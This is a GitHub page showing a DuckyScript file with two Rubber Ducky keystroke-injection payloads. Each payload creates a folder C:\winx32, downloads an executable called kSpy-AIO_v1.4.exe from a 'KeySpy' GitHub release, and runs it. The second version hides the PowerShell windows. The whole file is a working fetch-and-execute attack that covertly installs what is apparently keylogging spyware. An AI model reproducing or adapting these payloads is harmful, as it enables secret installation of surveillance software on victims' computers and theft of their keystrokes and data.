-
Notifications
You must be signed in to change notification settings - Fork 0
/
DuckyScript.txt
60 lines (51 loc) · 1.26 KB
/
DuckyScript.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#Script1:
REM Rubber Ducky payload to create a folder named "winx32" and execute a command with opening any terminal window
DELAY 5000
GUI r
DELAY 1000
STRING powershell -command "mkdir C:\winx32"
DELAY 1000
ENTER
DELAY 1000
STRING exit
DELAY 1000
ENTER
DELAY 5000
GUI r
DELAY 1000
STRING powershell -command "(Invoke-WebRequest -Uri 'https://github.com/3rr0r-505/KeySpy/releases/download/v1.4/kSpy-AIO_v1.4.exe' -OutFile 'C:\winx32\kSpy-AIO_v1.4.exe' -Verbose)"
DELAY 1000
ENTER
DELAY 600000
ALT F4
DELAY 5000
GUI r
DELAY 1000
STRING powershell -command "Start-Process 'C:\winx32\kSpy-AIO_v1.4.exe'"
DELAY 1000
ENTER
DELAY 10000
ALT F4
#Script2:
REM Rubber Ducky payload to create a folder named "winx32" and execute a command without opening any terminal window
DELAY 1000
GUI r
DELAY 1000
STRING powershell -windowstyle hidden -command "mkdir C:\winx32"
DELAY 1000
ENTER
ALT F4
DELAY 1000
GUI r
DELAY 1000
STRING powershell -windowstyle hidden -command "(Invoke-WebRequest -Uri 'https://github.com/3rr0r-505/KeySpy/releases/download/v1.4/kSpy-AIO_v1.4.exe' -OutFile 'C:\winx32\kSpy-AIO_v1.4.exe')"
DELAY 1000
ENTER
DELAY 600000
ALT F4
DELAY 5000
GUI r
DELAY 1000
STRING powershell -windowstyle hidden -command "Start-Process 'C:\winx32\kSpy-AIO_v1.4.exe'"
DELAY 10000
ENTER